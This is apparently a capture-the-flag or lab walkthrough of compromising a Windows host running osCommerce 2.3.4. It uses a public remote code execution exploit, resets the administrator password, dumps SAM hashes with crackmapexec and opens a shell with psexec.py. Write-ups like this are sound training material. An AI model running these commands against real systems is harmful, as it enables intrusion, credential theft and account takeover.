Starting out we check port 8080 and find that a web server is running. The root page presents us with an index page where we see the commerce system oscommerce 2.3.4 is installed.

A simple preliminary check with `searchsploit` shows multiple vulnerabilities with this version.

```
searchsploit oscommerce 2.3.4 -w
```

Searching for Remote Code Execution exploits on GitHub shows a PoC from the user nobodyatall648.

GitHub: [https://github.com/nobodyatall648/osCommerce-2.3.4-Remote-Command-Execution](https://github.com/nobodyatall648/osCommerce-2.3.4-Remote-Command-Execution)

Which has the following definition for the exploit:

_"Exploiting the install.php finish process by injecting php payload into the db\_database parameter & read the system command output from configure.php"_.

Using the example provided on GitHub we clone the repo and run with the following syntax:

```
python3 exploit.py http://<IP>/oscommerce-2.3.4/catalog/
```

After gaining a SYSTEM level shell on the target system we now aim to gain a proper reverse shell. As well as dump the hashes from the target system.

With SYSTEM access we change the local administrator password.

```
net user administrator Password123
```

Then use `crackmapexec` to dump the NTLM hashes from the SAM file.

```bash
crackmapexec smb '10.10.153.99' -u 'Administrator' -p 'Password123' --local-auth --sam
```

After dumping hashes from SAM we then use `psexec.py` to gain shell access to the target system.

```
psexec.py ./administrator:'Password123'@'10.10.153.99'
```
